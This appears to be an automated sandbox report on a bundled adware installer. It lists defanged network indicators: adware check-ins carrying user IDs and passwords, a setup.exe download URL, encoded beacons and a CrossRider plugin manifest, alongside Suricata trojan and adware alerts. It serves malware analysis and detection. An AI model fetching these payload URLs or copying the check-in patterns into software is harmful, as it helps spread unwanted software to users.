hxxp://www.google-analytics.com/r/__utm.gif?utmwv=5.6.1&utms=1&utmn=365887790&utmhn=bi.bisrv.com&utmhid=806690500&utmr=-&utmp=Installer_Init&utmht=1418834552176&utmac=UA-31676879-1&utmcc=__utma=1.61869844.1418834552.1418834552.1418834552.1;+__utmz=1.1418834552.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=1351923141&utmredir=1&utmu=qhCAAAAAAAABAAAAAAAAAAAE~	74.125.232.9
hxxp://1-ps.googleusercontent.com/beacon?org=123_1_yq&ets=load:3196&rload=3591&nav=0&dns=1&connect=62&req_start=70&ttfb=74&dwld=71&dom_c=3590&nt=0&fp=546&ifr=0&nrp=6&htmlAt=1&s_ttfb=6&id=1418834864830511&url=http://www.appshat.com/home	173.194.44.42
hxxp://1-ps.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/thumbnails/icon/images/assets/5/8/78x78x58d196b3e886a838d021adc8c8848f1e.png.pagespeed.ic.1ZFBkb8zgu3cym51RTl5.png	173.194.44.42
hxxp://www.appshat.com/images/16x16.ico	74.125.205.121
hxxp://flex.msn.com/mstag/site/649013f9-6914-436e-ba0b-dcbf07bc69d7/mstag.js	207.46.194.8
hxxp://2-ps.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/thumbnails/icon/images/assets/5/6/78x78x567f43cb72fe3ac6419369953394cadd.png.pagespeed.ic.uZppn9OyDiD3h_rBjWty.png	216.58.211.33
hxxp://ocsp.comodoca.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSOJaE2H4hHYQzP74hlLuO41NG+EAQUHsWxLH2H2gJofCW8DAeEP7bP3vECEGYj+vysNXV3ox2QweVn6ac=	178.255.83.1
hxxp://1-ps.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/thumbnails/icon/images/assets/3/6/78x78x36d7cd00f07003a67021237993257d08.png.pagespeed.ic.cWg2Rji-hSk9fEeSL6Ya.png	173.194.44.42
hxxp://ocsp.thawte.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQwF4prw9S7mCbCEHD/yl6nWPkczAQUe1tFz6/Oy3r9MZIaarbzRutXSFACEEeXTXhzpbyrDS+zcBkvzl4=	23.43.139.27
hxxp://www.google-analytics.com/r/collect?v=1&_v=j31&a=550335270&t=pageview&_s=1&dl=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE&ul=en-us&de=utf-8&dt=Thank you for Installing YouTube Accelerator&sd=24-bit&sr=1716x901&vp=1700x804&je=1&_u=MEAAAAQAI~&jid=1985718583&cid=1924808397.1418834698&tid=UA-40752970-2&_r=1&z=936260388	74.125.232.9
hxxp://1-ps.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/thumbnails/icon/images/assets/d/5/78x78xd586df222f5069b6c396373d67d0163b.png.pagespeed.ic.ydkvzRjn2dlJvFiaNZe1.png	173.194.44.42
hxxp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=ecf02c05-2477-44b0-82b0-38a8feb8f4b0&Password=5823NWIH&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1418834631&SBPIDS=1&KA=1	212.143.22.119
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c42aebeb52f4eabf469c6ed8ad1c0&uniqid=61c1e9ce078e3e20f171532f2a80443c&affiliate_id=network_xrwc_1&software_id=vlcmediaplayerdmot&sponsored_id=sourceapp_network&tokyo_csrf2_key=991f0b3d94f721ffe716de3b564e2b54&tokyo_csrf2_timestamp=1418834551&slot_number=2&index_in_screen=1&index_in_session=2&0.33808702165770854	78.138.127.15
hxxp://online.GOOBZO.com/online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=ecf02c05-2477-44b0-82b0-38a8feb8f4b0&Password=5823NWIH&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1418834631&SBPIDS=1&KA=1
hxxp://install.sourceapp.info/if?alpha=cwkDEGYrUg1NWDt6LDppck1QHWZzVQ84a0Y6FwEjIVVJVyNmeGA5TTMYSmd3bwlfA08xBjkfJm8OVlJxdEJ+Fw4cCUMOZStDTFY+TlgaPTlxFEAQLCZbW2tgcRF3UQ9wRSwHZ1NoBxIAc1ZtYjNZAndMa3N/ZRYgHXtXTGYjD3JzSEhXHXU+exFuTG9TajInIGJNExx8aA9AKmsHZwBWZHRaQQdkOHQBZAp0QglCYnltRBoXKiolUngwTQdaJCMKDVJPewZADH4iSxwXMw8XdHhhMxQTFm86cAk/a2AEFw05MREfU25BLF0yVzYIAwYxKwJUHF5lIC5UcS0CLxUjNAM8T0ZZGyZVPnYKUlYjCBkVPDtnQEYCYzpSBzB2e3cRFC83GwZZPTZ/E2AWcFUYEDcuD0UQWDUmPkc0L14BF2B8TH4OEAtUAlAxfAIYYG1YVSw9PCENYB9jIVkCfAVBNkUHOWxOAUBuImNdZEh8AglHcSIWBlkbc317T3ViD1JGdXZWehYaHwpLDGEoUhEDZ0sEEwMjYFdQXSoDcRE9JFB3Zws4MR0OWnNFZWAVawhba090dA9yEFwqLDhIGHw+THUo	70.186.131.141
hxxp://ocsp.omniroot.com/baltimoreroot/MEUwQzBBMD8wPTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom/nYB45SPUEwQU5Z1ZMIJHWMys+ghUNoZ7OrUETfACBAcnqkY=	93.184.220.20
hxxp://2-ps.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/images/4.5stars.jpg.pagespeed.ce.FnZJEV2PTVMznvHxrh21.jpg	216.58.211.33
hxxp://1-ps.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/images/logo.jpg.pagespeed.ce.Khx_XwXN03oCbtjhN-zG.jpg	173.194.44.42
hxxp://www.google-analytics.com/ga.js	74.125.232.9
hxxp://2-ps.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/thumbnails/icon/images/assets/5/9/78x78x59982d8527c0da41e35817e8fc15c0fc.png.pagespeed.ic.fL2V5qF20YFQXTrbuXvg.png	216.58.211.33
hxxp://1-ps.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/thumbnails/banner/images/assets/5/b/303x148x5b8f93845e4dd380fec57bc644ec49d1.jpg.pagespeed.ic.KJwkbv_hY_qT-vepcZiq.jpg	173.194.44.42
hxxp://cdn.visadd.com/script/14567725608/preload.js?subid=ECHwsmtycl1-eb48a9ab-49f6-4199-935d-4935ca672341	108.162.200.127
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c42aebeb52f4eabf469c6ed8ad1c0&uniqid=61c1e9ce078e3e20f171532f2a80443c&affiliate_id=network_xrwc_1&software_id=vlcmediaplayerdmot&sponsored_id=appshat_madness&tokyo_csrf2_key=cc90ebc56362f1bd1be2d710acda8d14&tokyo_csrf2_timestamp=1418834602&slot_number=4&index_in_screen=1&index_in_session=4&0.6627786594052993	78.138.127.15
hxxp://2-ps.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/images/3.0stars.jpg.pagespeed.ce.NdTKoZKg7fpUU9HjqHGP.jpg	216.58.211.33
hxxp://dl.newinputinfoservice.com/smt2b/all/hat/row/setup.exe	69.16.175.10
hxxp://online.GOOBZO.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=4de1d895-16f4-46c5-b766-79c34a33683b&Password=g4NYbwGq&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1418834632&SBPIDS=1
hxxp://repjs.shopper-pro.com/app/ping.ashx?e=lOCrbsNL2zWQ5lb rGZVAiWqRVUESB2PHUEQPyGrAWORoZJTpqsyZ quxda/Dun3qP0V6n4 tzBHLE0ylDSF78eFfSuOsPNu51vWMEpOYI9vFWuyZiLPwVfMcUAAn47OdXf8s99rZqrmh5G7kLgKqVXo80RT67Oh9qn20QlhWbaExpgoHHKdGGQrXcXswSfxsHPmaNRNf9MiBldlKQ/vBF2fwAkvrmVqRWJSF0HHhpbiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmuQUMIkKKYuybEe7W9itEZAEJ0Gc7l9cjUwmns505UICd56UH 7ayaQkiNLnzIALkbv9q98gu8BV/qgvDPs qxFSnkSnlVgA Q==	54.197.238.106
hxxp://pix.youtubeaccelerator.com/YTAFinishInstall.gif	107.20.238.80
hxxp://ocsp.omniroot.com/baltimoreroot/MEUwQzBBMD8wPTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom/nYB45SPUEwQU5Z1ZMIJHWMys+ghUNoZ7OrUETfACBAcnqkc=	93.184.220.20
hxxp://1-ps.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/thumbnails/icon/images/assets/6/a/78x78x6a12dc1a298e870b610a58a56ba0f5ec.jpg.pagespeed.ic.uwtHBdtZOQtaPxcmCnam.jpg	173.194.44.42
hxxp://www.youtubeaccelerator.com/styles/yta.css?v=1	107.20.238.80
hxxp://online.GOOBZO.com/online/RegisterAnon.aspx?ProductID=12000&Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&BundleID=NONE&BrandID=NONE&PartnerList=
hxxp://js.newstaticinfosrv.com/plugin/apps/65743/manifest/1_35_11_26/ie10/manifest.xml?ver=16&rnd=5532	69.16.175.42
hxxp://stats.newstaticinfosrv.com/installer.gif?action=finished&app=65743&appver=16&ver=1_35_11_26&version_date=14-12-15&bic=A6CD997E08804A369D8FB9D181719F3AIE&verifier=45a5d93e053e7aacbe23aedf1ed2b00a&upi=d5d8d8a61601751d467a5854a16ce35a&procid=BB99702CFD0141EBA74A0A755AB58FECPI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&aver=X&xpiver=0_95&crxver=1_26_16&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=85899350017&asw=0&asw2=1073750533&asw3=-2147475456&asw4=0&crtnm=BadFingerProject&ieprofiles=1&chprofiles=na&ffprofiles=1&procstarttime=1418834836&procruntime=25&rnd=1418834861	54.231.1.204
hxxp://i.sbitinjs.info/opt_content.js?v=opt_1416232566135&partner=sbitin&channel=sbitiniECHwJSsmtycl&sset=3&appTitle=ShopperPro&sset=3&ip=37.57.16.189	207.244.65.140
hxxp://ocsp.thawte.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRsif7263KedmR2MLuYKv9+WQCtWAQU1A1lP3q9NMb+R+dMDcC98t4Vq3ECEBILJd3le4hjatTZfSO5nIg=	23.43.139.27
hxxp://2-ps.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/js/scripts.js.pagespeed.jm.I_RPxsiRE08xV8BTmz_B.js	216.58.211.33
hxxp://install.sourceapp.info/fp?alpha=cA07ERwsDSQrcHMqFDsTcUloHBxwUS1gXVcMeg5Adxk2EVpyfDxhBgQ5JGJIMWg/QBVtfyEbXHF5Hkl8aClOYGoeB30JaFVULQIKVVlAHAMzDDhdQmcVbGUZDmM7Uwl1WXoFGCB3Mm5wd0onCk4qHjZFY3FzVRdDbQtqTxwnGxkcDGNIKE9PPFQrBE1YHUV/DmMRLUcRdllmfRkHcz8GHSdVdwQdNXA7d3R7X3UVXX8cLhY0YC9XBQwxBgoVVSAGHll6eloqVUR+DXJDEFlOXQN6RgdvAhRrCm5sHQZlOVEWJx87Cn58L284NTFfU0IbeUVqESIeN1YaXWgMaHccMB0eRWdvD3ENHlVUKwk4BAo8YhhHFDxdMW8LanAdBmUwIQIFWxVzbScTKwt+JWVt	70.186.131.141
hxxp://bi.bisrv.com/installer/ajax	78.138.127.15
hxxp://bi.bisrv.com/pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c42aebeb52f4eabf469c6ed8ad1c0&uniqid=61c1e9ce078e3e20f171532f2a80443c&affiliate_id=network_xrwc_1&software_id=vlcmediaplayerdmot&sponsored_id=appshat_madness&tokyo_csrf2_key=cc90ebc56362f1bd1be2d710acda8d14&tokyo_csrf2_timestamp=1418834602&slot_number=4&index_in_screen=1&index_in_session=4&0.9148047476430152	78.138.127.15
hxxp://www.bigspeedpro.com/webplayer/appshat/config.json	212.7.199.181
hxxp://install.sourceapp.info/mg?alpha=ZhhjEzxzI1QbXmBrTDkzWVEhADk4C2cvfB0VPhRiMxxORXklJzRoVWIuCWNuTwt7NUFiGxAVCnIcLz1eZzsCYkN5GiEHPjM2ARNpDEtMKTMkBGVCYHAdNnI8EHZhTCBgST8YOTNkY3hSZFp/FW06DmZGQGZ4VFJzOUNyTm8yW0JCRwgaKwo6PUFzHGsbEhV8NCMAcx8mfR4gOmJDe2AMazQ4RUMK	70.186.131.141
hxxp://1-ps.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/thumbnails/icon/images/assets/5/8/78x78x589b1e936e1f038dc45bd8ffff59b359.png.pagespeed.ic.z-mKIqvmmwfgfqJRMgXY.png	173.194.44.42
hxxp://1-ps.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/thumbnails/icon/images/assets/2/3/78x78x23428f8768d928d2bd45dd3b0c4d0057.png.pagespeed.ic.7nPUyI6bY-QhYePRE8Xn.png	173.194.44.42
hxxp://ocsp.verisign.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEAxNF3PJUX7iAOhAP2oGxcI=	23.43.139.27
hxxp://online.GOOBZO.com/online/Register.aspx?CV=2.0.0.0&ProductID=12000&UserID=&Password=&OS=10&EMail=&Newsletter=&V=3.3.9.4&Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&BundleID=NONE&BrandID=NONE&PartnerList=
hxxp://googleads.g.doubleclick.net/pagead/viewthroughconversion/971163981/?random=233430558&cv=7&fst=1418834697240&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&convclickts=0	173.194.113.218
hxxp://www.youtubeaccelerator.com/js/jquery-1.8.3.min.js	107.20.238.80
hxxp://d2cnb4m0nke2lh.cloudfront.net/jollywallet/resources/js/2/affiliate_client.js	54.192.46.193
hxxp://www.appshat.com/images/loading.gif	74.125.205.121
hxxp://js.newstaticinfosrv.com/plugin/apps/65743/manifest/1_35_11_26/ie10/manifest.xml?ver=16&rnd=2989	69.16.175.42
hxxp://install.sourceapp.info/ii?alpha=cwkDEGZlTRFjUzZkLDppck1QHWZzVQ84a0Y6FwEjIVVJVyNmeGA5TTMYSmd3bwlfA08xBjkfJm8OVlJxdEJ+Fw4cCUMOZStDTFY+TlgaPTlxFEAQLCZbW2tgcRF3UQ9wRSwHZ1NoBxIAc1ZtYjNZAndMa3N/ZRYgHXtXTGYrGnITBlsGQwxhJksUFy0ODmt/ZjMXAEgsMVkAHiRaalgHMjUEAEQ2MCFWMHozFHkbNi8BBlsTcX9tDCVpClBNZiEJIGxPTgYkb3Z9FlFcc1oEEic6ZUpCAiZ1ClJxNFwjFw05Mw0dCx5/JkE5Sy4dWwZQdkFSGl0wb2oCRC1QBBkzNQUgTkFBGz8ccGQAV1ZqUFdldHQ3CwRfPWMMV3wlUCVHCykgSB9XMH1lCXYJb0sJSXRzTlgSFwYhOk59LFdCVBUoBTtFRA1oBV0kdxYMA21JBHFoOjNVCAgsNEpbZWYZZgFQbCgJUgZjLHADbA13QR0XPS8eDEIeZSspH0ISSAMOJWpMGW1XTEkUHAZ7F1FQYlMZFm4HQnZ8UU48Tw18ElAhWAEvYw0BVW4nY0lrCQBaU0lCcE0=	70.186.131.141
hxxp://repjs.shopper-pro.com/app/ping.ashx?e=Ka qOJkckoXJDC3MBqZhBghVy62gheHB56XqnYmheUgSZTerw9Y85XkjLFx9TDtK6LeQ8ORDV5JWIb10zPabuUDGj/UpE9EQd6j7/wRBDsRoqvWX6JwkevDehHIxlAXyb98NyY 3Jv/oKdNf4wHzMP/l0k1T1nn7b588fAguahpqadCmmmNJTNNeVrTC3wKjb3ujoAScc5tmwnYolfoJZ0vIqime2r2ml8o3lw7CTCarMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEeNK5GwXtY6vrCFJaRRqFgPwH9xv7xo/JOfS1dRDuqWExa4opuscR66kJIhcmH67jPZQpTedPDILOntG7/hmYqJpmSeGmIrzgwRCH2XRlb/W	54.197.238.106
hxxp://www.google-analytics.com/analytics.js	74.125.232.9
hxxp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=4de1d895-16f4-46c5-b766-79c34a33683b&Password=g4NYbwGq&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1418834630&SBPIDS=1&KA=1	212.143.22.119
hxxp://ocsp.verisign.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEEES5jLHsYoCmjofrIA6uJ8=	23.43.139.27
hxxp://crl.microsoft.com/pki/crl/products/MicrosoftTimeStampPCA.crl	87.245.202.16
hxxp://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?2fe2abbe32770443	87.245.202.65
hxxp://2-ps.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/thumbnails/icon/images/assets/8/3/78x78x83a4cee7a59522b93ed0ae1fa73ce8f3.png.pagespeed.ic.fC57HngUEG5e6KKP2pds.png	216.58.211.33
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c42aebeb52f4eabf469c6ed8ad1c0&uniqid=61c1e9ce078e3e20f171532f2a80443c&affiliate_id=network_xrwc_1&software_id=vlcmediaplayerdmot&sponsored_id=appshat_madness&tokyo_csrf2_key=991f0b3d94f721ffe716de3b564e2b54&tokyo_csrf2_timestamp=1418834551&slot_number=4&index_in_screen=1&index_in_session=4&0.5490219917272924	78.138.127.15
hxxp://1-ps.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/images/logo_illust.jpg.pagespeed.ce.z1_aG_Fc9E2Du85_fGKz.jpg	173.194.44.42
hxxp://1-ps.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/thumbnails/icon/images/assets/7/c/78x78x7c9d412c730603d1d82b98a548a71bac.png.pagespeed.ic.0mNREhR0t6hPCWrBRAvl.png	173.194.44.42
hxxp://bi.bisrv.com/downloader/network_xrwc_1/vlcmediaplayerdmot/49e8eb8101569a41ad990f2a534d0e40?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=49e8eb8101569a41ad990f2a534d0e40&muid=96D78F35E7B7EA4FC32736D428DF43B4	78.138.127.15
hxxp://flex.msn.com/mstag/mstag.1003102000.js	207.46.194.8
hxxp://2-ps.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/thumbnails/banner/images/assets/b/4/303x148xb43daeae6aca6ab7d6a00084494d81db.png.pagespeed.ic.nnrPCPy1PfNzw7bPygU_.png	216.58.211.33
hxxp://online.GOOBZO.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=4de1d895-16f4-46c5-b766-79c34a33683b&Password=g4NYbwGq&OS=10&V=3.3.9.4&VS=1&Beta=0&Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1418834694&SBPIDS=1
hxxp://fonts.googleapis.com/css?family=Abel	74.125.205.95
hxxp://crl.microsoft.com/pki/crl/products/WinPCA.crl	87.245.202.16
hxxp://2-ps.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/js/lightbox.js.pagespeed.jm.87aPq22TFLOpRo_q8qwK.js	216.58.211.33
hxxp://1-ps.googleusercontent.com/h/www.appshat.com/images/4.0stars.jpg.pagespeed.ce.7EhkSCmV4fiZvLox5Lxa.jpg	173.194.44.42
hxxp://1-ps.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/thumbnails/icon/images/assets/e/9/78x78xe94782c9200f8de809a50327879df1cc.png.pagespeed.ic.Mr4gF218xk_cqItCCN1L.png	173.194.44.42
hxxp://2-ps.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/images/5.0stars.jpg.pagespeed.ce.c5Mw3vRCV9Ep78xfmv43.jpg	216.58.211.33
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=M/g8cQcNP KHIN QbXyGnsE5LyKWc4Gx3Pumfblmu5B9EKWfiY9Pr/lWymhtcc3oSGExqW4qn7xbfNvkjTiX5DEsdSRpTTrrOw9/8 JsFypisjzcUor/7OfS1dRDuqWExa4opuscR66kJIhcmH67jPZQpTedPDILIi5EI4eexb/M2kLK0Eh6GOhAyMRSteYLfy2nd2OoBNWZcVk3bWa3iMJb UIfjrRxmoi0CE64JPNxpM04NYBVExDTJMPiDl9 PFIANZtw9hVvXRT59/7pfiNnJFpXhDir94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjnH72/SGLqiOX lStajyhrtiQ5YlpjAdCrxodeePw 5cajJZSypMM0YsLUtbwE6VCqQ6c6qhfBhigsBNjG75SdwwdrEePnF oTcHCxvGNobLg==	54.197.238.106
hxxp://ocsp.verisign.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEGwkCSV07gf3g5QOsqmf+MY=	23.43.139.27
hxxp://i.sbitinjs.info/sbitin/javascript.js?hid=eb48a9ab-49f6-4199-935d-4935ca672341&apptitle=ShopperPro&channel=iECHwJSsmtycl	207.244.65.140
hxxp://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js	74.125.205.95
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=lOCrbsNL2zWx1kvX9v50CAIY2i4vW9zFjPtK5w/dU0Nep0NzDIMSG9DLqLHxLpkMub ZrrC FYd4ibS7Xw5g1/Eh6MhNwuPKYtlM6o Ldza8zhm7PCJPoTnyoq vkmpgx13 Ii9805eFt2wTTo5NME5QN0wFADGiZiwA7PPuGba/qYydEVX0aBdviNsPXm6GNAxCMMVg3AzYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW fxWwjEc sn2qwPMXmHsT8xuBMcUf8UemD9EYs0TzOu1	54.197.238.106
hxxp://stats.newstaticinfosrv.com/apps.gif?action=install&app=65743&appver=16&ver=1_35_11_26&version_date=14-12-15&bic=A6CD997E08804A369D8FB9D181719F3AIE&verifier=45a5d93e053e7aacbe23aedf1ed2b00a&upi=d5d8d8a61601751d467a5854a16ce35a&procid=BB99702CFD0141EBA74A0A755AB58FECPI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&aver=X&installtime=1418834836&lifetime=0&silent=1&crtnm=BadFingerProject&procstarttime=1418834836&procruntime=26&rnd=1418834862	54.231.1.204
hxxp://online.GOOBZO.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=4de1d895-16f4-46c5-b766-79c34a33683b&Password=g4NYbwGq&OS=10&V=3.3.9.4&VS=1&Beta=0&Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1418834647&SBPIDS=1
hxxp://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQgppSLAb7oJaQ6RVV2Zh9VwZIGMwQUkHHbN+tzyO/c1R4StjS6K1qgppICEAhNBHHxCxzajegaZLj8jyw=	93.184.220.29
hxxp://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl	87.245.202.16
hxxp://ocsp.verisign.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ/xkCfyHfJr7GQ6M658NRZ4SHo/AQUCPVR6Pv+PT1kNnxoz1t4qN+5xTcCEGC2x6sSmevembHfY1acIZk=	23.43.139.27
hxxp://ajax.googleapis.com/ajax/libs/jqueryui/1.10.3/jquery-ui.min.js	74.125.205.95
s.sbitinjs.info	54.225.66.3
rephelper.youtubeaccelerator.com	54.197.238.106
www.superfish.com	66.70.34.101
www.youtube.com	173.194.113.192
xs3hgr0g-l8bu4n1j.netdna-ssl.com	198.232.124.192
c.sbitinjs.info	108.59.10.10
ieonline.microsoft.com	204.79.197.200
fonts.gstatic.com

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

SURICATA UDPv4 invalid checksum SURICATA IPv4 invalid checksum ET TROJAN Win32.Sefnit ET POLICY Executable served from Amazon S3 ET POLICY User-Agent (NSIS_Inetc (Mozilla)) - Sometimes used by hostile installers ET MALWARE Win32/Toolbar.CrossRider.A Checkin

Traffic

GET /plugin/apps/65743/manifest/1_35_11_26/ie10/manifest.xml?ver=16&rnd=5532 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

Host: js.newstaticinfosrv.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Wed, 17 Dec 2014 16:47:29 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1418063416"

Last-Modified: Mon, 08 Dec 2014 18:30:16 GMT

Cache-Control: max-age=779

Content-Length: 1877

Content-Type: text/xml; charset=UTF-8

X-HW: 1418834849.dop006.fr7.t,1418834849.cds032.fr7.c
<?xml version="1.0" encoding="UTF-8"?>.<CrAppInfo>.  <V
er>16</Ver>.  <ShortName>Apps Hat 1.5</ShortName>
.  <Description>Apps Hat is the cool new Android app store that 
helps you discover hot new apps, both free and discounted. Get persona
lised recommendations, price drop alerts, and share your favourite app
s with your friends.</Description>.  <PublisherName>Nero&l
t;/PublisherName>.  <HomePageLink>NA</HomePageLink>.  &
lt;JSLink>hXXp://js.newstaticinfosrv.com/plugin/apps/65743/js/na/ie
/app_code.js</JSLink>.  <GroupID>0</GroupID>.  <D
omain>NA</Domain>.  <RunInIframe>true</RunInIframe&g
t;.  <ThanksURL>NA</ThanksURL>.  <EmailSignature>NA&
lt;/EmailSignature>.  <SettingsURL>NA</SettingsURL>.  &
lt;CertifiedInstall>NA</CertifiedInstall>.  <ExposeSites&g
t;NA</ExposeSites>.  <RemoteFBApiURL>NA</RemoteFBApiURL
>.  <DisableIE>true</DisableIE>.  <DisableFF>true
</DisableFF>.  <EnableSearchIE>false</EnableSearchIE>
;.  <EnableSearchFF>false</EnableSearchFF>.  <Addressba
rIE>NA</AddressbarIE>.  <AddressbarFF>NA</Addressbar
FF>.  <AddressbarFFEnhanced>NA</AddressbarFFEnhanced>. 
 <AddressbarCR>NA</AddressbarCR>.  <NewTabURL>NA<
/NewTabURL>.  <NewTabEmbed>NA</NewTabEmbed>.  <OpenS
earchURL>NA</OpenSearchURL>.  <BackgroundJS>hXXp://
<<< skipped >>>


GET /pki/crl/products/microsoftrootcert.crl HTTP/1.1

Cache-Control: max-age = 812

Connection: Keep-Alive

Accept: */*

